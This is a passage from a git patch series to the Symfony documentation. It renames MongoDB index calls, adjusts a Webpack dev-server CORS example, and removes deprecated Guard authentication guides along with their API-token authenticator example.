Subject: [PATCH 1008/5766] #42227 update phpdoc to recommend createIndex over
 ensureIndex

---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 118c7015771..a765fa4edc7 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -768,7 +768,7 @@ Such an index can be created manually:
 
 .. code-block:: javascript
 
-    db.lock.ensureIndex(
+    db.lock.createIndex(
         { "expires_at": 1 },
         { "expireAfterSeconds": 0 }
     )

From 0f1a5ff0563a03f1003141bc12f1222e25848d81 Mon Sep 17 00:00:00 2001
From: Joe Bennett <joe@assimtech.com>
Date: Thu, 22 Jul 2021 15:31:13 +1000
Subject: [PATCH 1009/5766] #42229 update phpdoc to recommend createIndex over
 ensureIndex

---
 session/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session/database.rst b/session/database.rst
index b9ddfd2e9fd..56cd9e27384 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -532,7 +532,7 @@ performance. Run this from the `MongoDB shell`_:
 .. code-block:: javascript
 
     use session_db
-    db.session.ensureIndex( { "expires_at": 1 }, { expireAfterSeconds: 0 } )
+    db.session.createIndex( { "expires_at": 1 }, { expireAfterSeconds: 0 } )
 
 Configuring the Session Field Names
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 9d762a9c1accd9d473f465ce763c8a391edf781a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Jul 2021 16:30:21 +0200
Subject: [PATCH 1010/5766] [Frontend] Use Webpack disableHostCheck option in
 example

---
 frontend/encore/dev-server.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 9ab5b8f02e9..7b36a0f877e 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -90,7 +90,7 @@ CORS Issues
 -----------
 
 If you experience issues related to CORS (Cross Origin Resource Sharing), set
-the ``firewall`` option:
+the following option:
 
 .. code-block:: javascript
 
@@ -101,11 +101,13 @@ the ``firewall`` option:
         // ...
 
         .configureDevServerOptions(options => {
-            options.firewall = false;
+            options.allowedHosts = 'all';
+            // in older Webpack Dev Server versions, use this option instead:
+            // options.firewall = false;
         })
 
-Beware that `it's not recommended to disable the firewall`_ in general, but
-here it's required to solve the CORS issue.
+Beware that this is not a recommended security practice in general, but here
+it's required to solve the CORS issue.
 
 Hot Module Replacement HMR
 --------------------------
@@ -123,5 +125,4 @@ your page. HMR works automatically with CSS (as long as you're using the
     CSS. That is no longer needed.
 
 .. _`webpack-dev-server`: https://webpack.js.org/configuration/dev-server/
-.. _`it's not recommended to disable the firewall`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck
 .. _`4.0 CHANGELOG`: https://github.com/webpack/webpack-dev-server/blob/master/CHANGELOG.md#400-beta0-2020-11-27

From c4834f68d4a92be36c65776c086d4c12718dabf1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Jul 2021 13:37:37 +0200
Subject: [PATCH 1011/5766] Remove more deprecations in 6.0 branch

---
 _build/redirection_map                        |   2 +
 cache.rst                                     |  12 -
 .../cache/adapters/doctrine_adapter.rst       |  10 -
 components/security/authentication.rst        |  11 +-
 reference/configuration/framework.rst         |   7 -
 reference/configuration/security.rst          |  15 -
 reference/forms/types/options/help.rst.inc    |   4 -
 security.rst                                  |  18 +-
 security/authenticator_manager.rst            |   8 -
 security/form_login_setup.rst                 |   6 +-
 security/guard_authentication.rst             | 577 ------------------
 security/multiple_guard_authenticators.rst    | 185 ------
 security/password_migration.rst               |   2 +-
 13 files changed, 12 insertions(+), 845 deletions(-)
 delete mode 100644 security/guard_authentication.rst
 delete mode 100644 security/multiple_guard_authenticators.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index e4007215bf4..304ea9496bb 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -517,3 +517,5 @@
 /security/named_encoders /security/named_hashers
 /components/inflector /components/string#inflector
 /security/experimental_authenticators /security/authenticator_manager
+/security/guard_authentication /security/authenticator_manager
+/security/multiple_guard_authenticators /security/authenticator_manager
diff --git a/cache.rst b/cache.rst
index 6025593c386..8b049c00001 100644
--- a/cache.rst
+++ b/cache.rst
@@ -99,7 +99,6 @@ The Cache component comes with a series of adapters pre-configured:
 
 * :doc:`cache.adapter.apcu </components/cache/adapters/apcu_adapter>`
 * :doc:`cache.adapter.array </components/cache/adapters/array_cache_adapter>`
-* :doc:`cache.adapter.doctrine </components/cache/adapters/doctrine_adapter>`
 * :doc:`cache.adapter.filesystem </components/cache/adapters/filesystem_adapter>`
 * :doc:`cache.adapter.memcached </components/cache/adapters/memcached_adapter>`
 * :doc:`cache.adapter.pdo </components/cache/adapters/pdo_doctrine_dbal_adapter>`
@@ -119,8 +118,6 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
             cache:
                 directory: '%kernel.cache_dir%/pools' # Only used with cache.adapter.filesystem
 
-                # service: cache.doctrine
-                default_doctrine_provider: 'app.doctrine_cache'
                 # service: cache.psr6
                 default_psr6_provider: 'app.my_psr6_service'
                 # service: cache.redis
@@ -144,7 +141,6 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
 
             <framework:config>
                 <!--
-                default_doctrine_provider: Service: cache.doctrine
                 default_psr6_provider: Service: cache.psr6
                 default_redis_provider: Service: cache.redis
                 default_memcached_provider: Service: cache.memcached
@@ -152,7 +148,6 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
                 -->
                 <!-- "directory" attribute is only used with cache.adapter.filesystem -->
                 <framework:cache directory="%kernel.cache_dir%/pools"
-                    default_doctrine_provider="app.doctrine_cache"
                     default_psr6_provider="app.my_psr6_service"
                     default_redis_provider="redis://localhost"
                     default_memcached_provider="memcached://localhost"
@@ -170,8 +165,6 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
             $framework->cache()
                 // Only used with cache.adapter.filesystem
                 ->directory('%kernel.cache_dir%/pools')
-                // Service: cache.doctrine
-                ->defaultDoctrineProvider('app.doctrine_cache')
                 // Service: cache.psr6
                 ->defaultPsr6Provider('app.my_psr6_service')
                 // Service: cache.redis
@@ -183,11 +176,6 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
             ;
         };
 
-.. deprecated:: 5.4
-
-    The ``default_doctrine_provider`` option was deprecated in Symfony 5.4 and
-    it will be removed in Symfony 6.0.
-
 .. _cache-create-pools:
 
 Creating Custom (Namespaced) Pools
diff --git a/components/cache/adapters/doctrine_adapter.rst b/components/cache/adapters/doctrine_adapter.rst
index 78ca23ae1ea..f8f95126ae9 100644
--- a/components/cache/adapters/doctrine_adapter.rst
+++ b/components/cache/adapters/doctrine_adapter.rst
@@ -34,14 +34,4 @@ third parameters::
         $defaultLifetime = 0
     );
 
-.. tip::
-
-    A :class:`Symfony\\Component\\Cache\\DoctrineProvider` class is also provided by the
-    component to use any PSR6-compatible implementations with Doctrine-compatible classes.
-
-    .. deprecated:: 5.4
-
-        The ``DoctrineProvider`` class was deprecated in Symfony 5.4 and it will
-        be removed in Symfony 6.0.
-
 .. _`Doctrine Cache`: https://github.com/doctrine/cache
diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index a6777ea12d4..d89e3e1d5f7 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -296,14 +296,9 @@ Authentication Success and Failure Events
 
 When a provider authenticates the user, a ``security.authentication.success``
 event is dispatched. But beware - this event may fire, for example, on *every*
-request if you have session-based authentication, if ``always_authenticate_before_granting``
-is enabled or if token is not authenticated before AccessListener is invoked.
-See ``security.interactive_login`` below if you need to do something when a user *actually* logs in.
-
-.. deprecated:: 5.4
-
-    The ``always_authenticate_before_granting`` option was deprecated in
-    Symfony 5.4 and it will be removed in Symfony 6.0.
+request if you have session-based authentication, if token is not authenticated
+before AccessListener is invoked. See ``security.interactive_login`` below if
+you need to do something when a user *actually* logs in.
 
 When a provider attempts authentication but fails (i.e. throws an ``AuthenticationException``),
 a ``security.authentication.failure`` event is dispatched. You could listen on
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index b44b1c0a2af..f7653698b74 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2710,12 +2710,6 @@ file
     Use the filesystem to cache annotations
 none
     Disable the caching of annotations
-a service id
-    A service id referencing a `Doctrine Cache`_ implementation
-
-.. deprecated:: 5.3
-
-    Using a service ID as the value of ``cache`` is deprecated since Symfony 5.3.
 
 file_cache_dir
 ..............
@@ -3510,7 +3504,6 @@ to know their differences.
 
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning
-.. _`Doctrine Cache`: https://www.doctrine-project.org/projects/doctrine-cache/en/current/index.html
 .. _`egulias/email-validator`: https://github.com/egulias/EmailValidator
 .. _`RFC 5322`: https://tools.ietf.org/html/rfc5322
 .. _`PhpStormProtocol`: https://github.com/aik099/PhpStormProtocol
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 7c210352c61..cbf426b2d62 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -28,7 +28,6 @@ Configuration
 **Basic Options**:
 
 * `access_denied_url`_
-* `always_authenticate_before_granting`_
 * `anonymous`_
 * `erase_credentials`_
 * `hide_user_not_found`_
@@ -53,20 +52,6 @@ access_denied_url
 Defines the URL where the user is redirected after a ``403`` HTTP error (unless
 you define a custom access deny handler). Example: ``/no-permission``
 
-always_authenticate_before_granting
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-**type**: ``boolean`` **default**: ``false``
-
-.. deprecated:: 5.4
-
-    The ``always_authenticate_before_granting`` option was deprecated in
-    Symfony 5.4 and it will be removed in Symfony 6.0.
-
-If ``true``, the user is asked to authenticate before each call to the
-``isGranted()`` method in services and controllers or ``is_granted()`` from
-templates.
-
 anonymous
 ~~~~~~~~~
 
diff --git a/reference/forms/types/options/help.rst.inc b/reference/forms/types/options/help.rst.inc
index 86f84111c88..b0686c3f82e 100644
--- a/reference/forms/types/options/help.rst.inc
+++ b/reference/forms/types/options/help.rst.inc
@@ -19,7 +19,3 @@ rendered below the field::
             'help' => new TranslatableMessage('order.status', ['%order_id%' => $order->getId()], 'store'),
         ])
     ;
-
-.. versionadded:: 5.4
-
-    Support for passing ``TranslatableMessage`` objects was introduced in Symfony 5.4.
diff --git a/security.rst b/security.rst
index 4677666c092..c716071f0cb 100644
--- a/security.rst
+++ b/security.rst
@@ -452,18 +452,8 @@ you to control *every* part of the authentication process (see the next section)
 Guard Authenticators
 ~~~~~~~~~~~~~~~~~~~~
 
-.. deprecated:: 5.3
-
-    Guard authenticators are deprecated since Symfony 5.3 in favor of the
-    :doc:`new authenticator-based system </security/authenticator_manager>`.
-
-A Guard authenticator is a class that gives you *complete* control over your
-authentication process. There are many different ways to build an authenticator;
-here are a few common use-cases:
-
-* :doc:`/security/form_login_setup`
-* :doc:`/security/guard_authentication` – see this for the most detailed
-  description of authenticators and how they work
+Guard authenticators are deprecated in favor of the
+:doc:`new authenticator-based system </security/authenticator_manager>`.
 
 Limiting Login Attempts
 ~~~~~~~~~~~~~~~~~~~~~~~
@@ -1436,7 +1426,7 @@ Frequently Asked Questions
 **Can I have Multiple Firewalls?**
     Yes! But it's usually not necessary. Each firewall is like a separate security
     system. And so, unless you have *very* different authentication needs, one
-    firewall usually works well. With :doc:`Guard authentication </security/guard_authentication>`,
+    firewall usually works well. With the :doc:`authenticator-based security </security/authenticator_manager>`,
     you can create various, diverse ways of allowing authentication (e.g. form login,
     API key authentication and LDAP) all under the same firewall.
 
@@ -1479,7 +1469,6 @@ Authentication (Identifying/Logging in the User)
     security/form_login_setup
     security/reset_password
     security/json_login_setup
-    security/guard_authentication
     security/password_migration
     security/auth_providers
     security/user_provider
@@ -1488,7 +1477,6 @@ Authentication (Identifying/Logging in the User)
     security/impersonating_user
     security/user_checkers
     security/named_hashers
-    security/multiple_guard_authenticators
     security/firewall_restriction
     security/csrf
     security/custom_authentication_provider
diff --git a/security/authenticator_manager.rst b/security/authenticator_manager.rst
index b347f7d57f4..e2a304f87fe 100644
--- a/security/authenticator_manager.rst
+++ b/security/authenticator_manager.rst
@@ -266,14 +266,6 @@ The authenticator-based system dropped support for these providers and
 introduced a new authenticator interface as a base for custom
 authentication methods.
 
-.. tip::
-
-    :doc:`Guard authenticators </security/guard_authentication>` are still
-    supported in the authenticator-based system. It is however recommended
-    to also update these when you're refactoring your application to the
-    new system. The new authenticator interface has many similarities with the
-    guard authenticator interface, making the rewrite easier.
-
 Authenticators should implement the
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AuthenticatorInterface`.
 You can also extend
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index 7fe912cdac7..3184682f350 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -45,7 +45,7 @@ and your generated code may be slightly different:
     Support for login form authentication was added to ``make:auth`` in MakerBundle 1.8.
 
 This generates the following: 1) login/logout routes & controller, 2) a template that
-renders the login form, 3) a :doc:`Guard authenticator </security/guard_authentication>`
+renders the login form, 3) an :doc:`authenticator </security/authenticator_manager>`
 class that processes the login submit and 4) updates the main security config file.
 
 **Step 1.** The ``/login``/``/logout`` routes & controller::
@@ -405,9 +405,9 @@ you have:
 .. image:: /_images/security/symfony_loggedin_wdt.png
    :align: center
 
-The Guard authentication system is powerful, and you can customize your authenticator
+The authentication system is powerful, and you can customize your authenticator
 class to do whatever you need. To learn more about what the individual methods do,
-see :doc:`/security/guard_authentication`.
+see :doc:`/security/authenticator_manager`.
 
 Controlling Error Messages
 --------------------------
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
deleted file mode 100644
index 8b61ac97558..00000000000
--- a/security/guard_authentication.rst
+++ /dev/null
@@ -1,577 +0,0 @@
-.. index::
-    single: Security; Custom Authentication
-
-Custom Authentication System with Guard (API Token Example)
-===========================================================
-
-.. deprecated:: 5.3
-
-    Guard authenticators are deprecated since Symfony 5.3 in favor of the
-    :doc:`new authenticator-based system </security/authenticator_manager>`.
-
-Guard authentication can be used to:
-
-* :doc:`Build a Login Form </security/form_login_setup>`
-* Create an API token authentication system (see below)
-* `Social Authentication`_ (or use `HWIOAuthBundle`_ for a robust non-Guard solution)
-* Integrate with some proprietary single-sign-on system
-
-and many more. In this example, we'll build an API token authentication
-system, so we can learn more about Guard in detail.
-
-Step 1) Prepare your User Class
--------------------------------
-
-Suppose you want to build an API where your clients will send an ``X-AUTH-TOKEN`` header
-on each request with their API token. Your job is to read this and find the associated
-user (if any).
-
-First, make sure you've followed the main :doc:`Security Guide </security>` to
-create your ``User`` class. Then add an ``apiToken`` property directly to
-your ``User`` class (the ``make:entity`` command is a good way to do this):
-
-.. code-block:: diff
-
-      // src/Entity/User.php
-      namespace App\Entity;
-
-      // ...
-
-      class User implements UserInterface
-      {
-          // ...
-
-    +     /**
-    +      * @ORM\Column(type="string", unique=true, nullable=true)
-    +      */
-    +     private $apiToken;
-
-          // the getter and setter methods
-      }
-
-Don't forget to generate and run the migration:
-
-.. code-block:: terminal
-
-    $ php bin/console make:migration
-    $ php bin/console doctrine:migrations:migrate
-
-Next, configure your "user provider" to use this new ``apiToken`` property:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            providers:
-                your_db_provider:
-                    entity:
-                        class: App\Entity\User
-                        property: apiToken
-
-            # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <provider name="your_db_provider">
-                    <entity class="App\Entity\User" property="apiToken"/>
-                </provider>
-
-                <!-- ... -->
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-
-            $security->provider('your_db_provider')
-                ->entity('App\Entity\User')
-                ->property('apiToken')
-            ;
-
-            // ...
-        };
-
-Step 2) Create the Authenticator Class
---------------------------------------
-
-To create a custom authentication system, create a class and make it implement
-:class:`Symfony\\Component\\Security\\Guard\\AuthenticatorInterface`. Or, extend
-the simpler :class:`Symfony\\Component\\Security\\Guard\\AbstractGuardAuthenticator`.
-
-This requires you to implement several methods::
-
-    // src/Security/TokenAuthenticator.php
-    namespace App\Security;
-
-    use App\Entity\User;
-    use Doctrine\ORM\EntityManagerInterface;
-    use Symfony\Component\HttpFoundation\JsonResponse;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
-    use Symfony\Component\Security\Core\Exception\AuthenticationException;
-    use Symfony\Component\Security\Core\User\UserInterface;
-    use Symfony\Component\Security\Core\User\UserProviderInterface;
-    use Symfony\Component\Security\Guard\AbstractGuardAuthenticator;
-
-    class TokenAuthenticator extends AbstractGuardAuthenticator
-    {
-        private $em;
-
-        public function __construct(EntityManagerInterface $em)
-        {
-            $this->em = $em;
-        }
-
-        /**
-         * Called on every request to decide if this authenticator should be
-         * used for the request. Returning `false` will cause this authenticator
-         * to be skipped.
-         */
-        public function supports(Request $request): bool
-        {
-            return $request->headers->has('X-AUTH-TOKEN');
-        }
-
-        /**
-         * Called on every request. Return whatever credentials you want to
-         * be passed to getUser() as $credentials.
-         */
-        public function getCredentials(Request $request)
-        {
-            return $request->headers->get('X-AUTH-TOKEN');
-        }
-
-        public function getUser($credentials, UserProviderInterface $userProvider): ?UserInterface
-        {
-            if (null === $credentials) {
-                // The token header was empty, authentication fails with HTTP Status
-                // Code 401 "Unauthorized"
-                return null;
-            }
-
-            // The user identifier in this case is the apiToken, see the key `property`
-            // of `your_db_provider` in `security.yaml`.
-            // If this returns a user, checkCredentials() is called next:
-            return $userProvider->loadUserByIdentifier($credentials);
-        }
-
-        public function checkCredentials($credentials, UserInterface $user): bool
-        {
-            // Check credentials - e.g. make sure the password is valid.
-            // In case of an API token, no credential check is needed.
-
-            // Return `true` to cause authentication success
-            return true;
-        }
-
-        public function onAuthenticationSuccess(Request $request, TokenInterface $token, string $providerKey): ?Response
-        {
-            // on success, let the request continue
-            return null;
-        }
-
-        public function onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response
-        {
-            $data = [
-                // you may want to customize or obfuscate the message first
-                'message' => strtr($exception->getMessageKey(), $exception->getMessageData())
-
-                // or to translate this message
-                // $this->translator->trans($exception->getMessageKey(), $exception->getMessageData())
-            ];
-
-            return new JsonResponse($data, Response::HTTP_UNAUTHORIZED);
-        }
-
-        /**
-         * Called when authentication is needed, but it's not sent
-         */
-        public function start(Request $request, AuthenticationException $authException = null): Response
-        {
-            $data = [
-                // you might translate this message
-                'message' => 'Authentication Required'
-            ];
-
-            return new JsonResponse($data, Response::HTTP_UNAUTHORIZED);
-        }
-
-        public function supportsRememberMe(): bool
-        {
-            return false;
-        }
-    }
-
-Nice work! Each method is explained below: :ref:`The Guard Authenticator Methods <guard-auth-methods>`.
-
-Step 3) Configure the Authenticator
------------------------------------
-
-To finish this, make sure your authenticator is registered as a service. If you're
-using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-that happens automatically.
-
-Finally, configure your ``firewalls`` key in ``security.yaml`` to use this authenticator:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                # ...
-
-                main:
-                    anonymous: true
-                    lazy: true
-                    logout: ~
-
-                    guard:
-                        authenticators:
-                            - App\Security\TokenAuthenticator
-
-                    # if you want, disable storing the user in the session
-                    # stateless: true
-
-                    # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-            <config>
-                <!-- ... -->
-
-                <!-- if you want, disable storing the user in the session
-                    add 'stateless="true"' to the firewall -->
-                <firewall name="main" pattern="^/" anonymous="true" lazy="true">
-                    <logout/>
-
-                    <guard>
-                        <authenticator>App\Security\TokenAuthenticator</authenticator>
-                    </guard>
-
-                    <!-- ... -->
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\TokenAuthenticator;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $mainFirewall = $security->firewall('main');
-            $mainFirewall
-                ->pattern('^/')
-                ->lazy(true)
-                ->anonymous();
-
-            $mainFirewall->logout();
-            $mainFirewall
-                ->guard()
-                    ->authenticators([TokenAuthenticator::class])
-            ;
-            // if you want, disable storing the user in the session
-            // $mainFirewall->stateless(true);
-            // ...
-        };
-
-You did it! You now have a fully-working API token authentication system. If your
-homepage required ``ROLE_USER``, then you could test it under different conditions:
-
-.. code-block:: terminal
-
-    # test with no token
-    curl http://localhost:8000/
-    # {"message":"Authentication Required"}
-
-    # test with a bad token
-    curl -H "X-AUTH-TOKEN: FAKE" http://localhost:8000/
-    # {"message":"Username could not be found."}
-
-    # test with a working token
-    curl -H "X-AUTH-TOKEN: REAL" http://localhost:8000/
-    # the homepage controller is executed: the page loads normally
-
-Now, learn more about what each method does.
-
-.. _guard-auth-methods:
-
-The Guard Authenticator Methods
--------------------------------
-
-Each authenticator needs the following methods:
-
-**supports(Request $request)**
-    This is called on *every* request and your job is to decide if the
-    authenticator should be used for this request (return ``true``) or if it
-    should be skipped (return ``false``).
-
-**getCredentials(Request $request)**
-    Your job is to read the token (or whatever your "authentication" information is)
-    from the request and return it. These credentials are passed to ``getUser()``.
-
-**getUser($credentials, UserProviderInterface $userProvider)**
-    The ``$credentials`` argument is the value returned by ``getCredentials()``.
-    Your job is to return an object that implements ``UserInterface``. If you do,
-    then ``checkCredentials()`` will be called. If you return ``null`` (or throw
-    an :ref:`AuthenticationException <guard-customize-error>`) authentication
-    will fail.
-
-**checkCredentials($credentials, UserInterface $user)**
-    If ``getUser()`` returns a User object, this method is called. Your job is to
-    verify if the credentials are correct. For a login form, this is where you would
-    check that the password is correct for the user. To pass authentication, return
-    ``true``. If you return ``false``
-    (or throw an :ref:`AuthenticationException <guard-customize-error>`),
-    authentication will fail.
-
-**onAuthenticationSuccess(Request $request, TokenInterface $token, string $providerKey)**
-    This is called after successful authentication and your job is to either
-    return a :class:`Symfony\\Component\\HttpFoundation\\Response` object
-    that will be sent to the client or ``null`` to continue the request
-    (e.g. allow the route/controller to be called like normal). Since this
-    is an API where each request authenticates itself, you want to return
-    ``null``.
-
-**onAuthenticationFailure(Request $request, AuthenticationException $exception)**
-    This is called if authentication fails. Your job
-    is to return the :class:`Symfony\\Component\\HttpFoundation\\Response`
-    object that should be sent to the client. The ``$exception`` will tell you
-    *what* went wrong during authentication.
-
-**start(Request $request, AuthenticationException $authException = null)**
-    This is called if the client accesses a URI/resource that requires authentication,
-    but no authentication details were sent. Your job is to return a
-    :class:`Symfony\\Component\\HttpFoundation\\Response` object that helps
-    the user authenticate (e.g. a 401 response that says "token is missing!").
-
-**supportsRememberMe()**
-    If you want to support "remember me" functionality, return ``true`` from this method.
-    You will still need to activate ``remember_me`` under your firewall for it to work.
-    Since this is a stateless API, you do not want to support "remember me"
-    functionality in this example.
-
-**createAuthenticatedToken(UserInterface $user, string $providerKey)**
-    If you are implementing the :class:`Symfony\\Component\\Security\\Guard\\AuthenticatorInterface`
-    instead of extending the :class:`Symfony\\Component\\Security\\Guard\\AbstractGuardAuthenticator`
-    class, you have to implement this method. It will be called
-    after a successful authentication to create and return the token (a
-    class implementing :class:`Symfony\\Component\\Security\\Guard\\Token\\GuardTokenInterface`)
-    for the user, who was supplied as the first argument.
-
-The picture below shows how Symfony calls Guard Authenticator methods:
-
-.. raw:: html
-
-    <object data="../_images/security/authentication-guard-methods.svg" type="image/svg+xml"></object>
-
-.. _guard-customize-error:
-
-Customizing Error Messages
---------------------------
-
-When ``onAuthenticationFailure()`` is called, it is passed an ``AuthenticationException``
-that describes *how* authentication failed via its ``$exception->getMessageKey()`` (and
-``$exception->getMessageData()``) method. The message will be different based on *where*
-authentication fails (i.e. ``getUser()`` versus ``checkCredentials()``).
-
-But, you can also return a custom message by throwing a
-:class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAuthenticationException`.
-You can throw this from ``getCredentials()``, ``getUser()`` or ``checkCredentials()``
-to cause a failure::
-
-    // src/Security/TokenAuthenticator.php
-    namespace App\Security;
-
-    // ...
-
-    use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
-
-    class TokenAuthenticator extends AbstractGuardAuthenticator
-    {
-        // ...
-
-        public function getCredentials(Request $request)
-        {
-            // ...
-
-            if ($token == 'ILuvAPIs') {
-                throw new CustomUserMessageAuthenticationException(
-                    'ILuvAPIs is not a real API key: it\'s just a silly phrase'
-                );
-            }
-
-            // ...
-        }
-
-        // ...
-    }
-
-In this case, since "ILuvAPIs" is a ridiculous API key, you could include an easter
-egg to return a custom message if someone tries this:
-
-.. code-block:: terminal
-
-    curl -H "X-AUTH-TOKEN: ILuvAPIs" http://localhost:8000/
-    # {"message":"ILuvAPIs is not a real API key: it's just a silly phrase"}
-
-.. _guard-manual-auth:
-
-Manually Authenticating a User
-------------------------------
-
-Sometimes you might want to manually authenticate a user - like after the user
-completes registration. To do that, use your authenticator and a service called
-``GuardAuthenticatorHandler``::
-
-    // src/Controller/RegistrationController.php
-    namespace App\Controller;
-
-    // ...
-    use App\Security\LoginFormAuthenticator;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\Security\Guard\GuardAuthenticatorHandler;
-
-    class RegistrationController extends AbstractController
-    {
-        public function register(LoginFormAuthenticator $authenticator, GuardAuthenticatorHandler $guardHandler, Request $request): Response
-        {
-            // ...
-
-            // after validating the user and saving them to the database
-            // authenticate the user and use onAuthenticationSuccess on the authenticator
-            return $guardHandler->authenticateUserAndHandleSuccess(
-                $user,          // the User object you just created
-                $request,
-                $authenticator, // authenticator whose onAuthenticationSuccess you want to use
-                'main'          // the name of your firewall in security.yaml
-            );
-        }
-    }
-
-Avoid Authenticating the Browser on Every Request
--------------------------------------------------
-
-If you create a Guard login system that's used by a browser and you're experiencing
-problems with your session or CSRF tokens, the cause could be bad behavior by your
-authenticator. When a Guard authenticator is meant to be used by a browser, you
-should *not* authenticate the user on *every* request. In other words, you need to
-make sure the ``supports()`` method *only* returns ``true`` when
-you actually *need* to authenticate the user. Why? Because, when ``supports()``
-returns true (and authentication is ultimately successful), for security purposes,
-the user's session is "migrated" to a new session id.
-
-This is an edge-case, and unless you're having session or CSRF token issues, you
-can ignore this. Here is an example of good and bad behavior::
-
-    public function supports(Request $request): bool
-    {
-        // GOOD behavior: only authenticate (i.e. return true) on a specific route
-        return 'login_route' === $request->attributes->get('_route') && $request->isMethod('POST');
-
-        // e.g. your login system authenticates by the user's IP address
-        // BAD behavior: So, you decide to *always* return true so that
-        // you can check the user's IP address on every request
-        return true;
-    }
-
-The problem occurs when your browser-based authenticator tries to authenticate
-the user on *every* request - like in the IP address-based example above. There
-are two possible fixes:
-
-1. If you do *not* need authentication to be stored in the session, set
-   ``stateless: true`` under your firewall.
-2. Update your authenticator to avoid authentication if the user is already
-   authenticated:
-
-.. code-block:: diff
-
-      // src/Security/MyIpAuthenticator.php
-      // ...
-
-    + use Symfony\Component\Security\Core\Security;
-
-      class MyIpAuthenticator
-      {
-    +     private $security;
-
-    +     public function __construct(Security $security)
-    +     {
-    +         $this->security = $security;
-    +     }
-
-          public function supports(Request $request): bool
-          {
-    +         // if there is already an authenticated user (likely due to the session)
-    +         // then return false and skip authentication: there is no need.
-    +         if ($this->security->getUser()) {
-    +             return false;
-    +         }
-
-    +         // the user is not logged in, so the authenticator should continue
-    +         return true;
-          }
-      }
-
-If you use autowiring, the ``Security``  service will automatically be passed to
-your authenticator.
-
-Frequently Asked Questions
---------------------------
-
-**Can I have Multiple Authenticators?**
-    Yes! But when you do, you'll need to choose only *one* authenticator to be your
-    "entry_point". This means you'll need to choose *which* authenticator's ``start()``
-    method should be called when an anonymous user tries to access a protected resource.
-    For more details, see :doc:`/security/multiple_guard_authenticators`.
-
-**Can I use this with form_login?**
-    Yes! ``form_login`` is *one* way to authenticate a user, so you could use
-    it *and* then add one or more authenticators. Using a guard authenticator doesn't
-    collide with other ways to authenticate.
-
-**Can I use this with FOSUserBundle?**
-    Yes! Actually, FOSUserBundle doesn't handle security: it only gives you a
-    ``User`` object and some routes and controllers to help with login, registration,
-    forgot password, etc. When you use FOSUserBundle, you typically use ``form_login``
-    to actually authenticate the user. You can continue doing that (see previous
-    question) or use the ``User`` object from FOSUserBundle and create your own
-    authenticator(s) (like in this article).
-
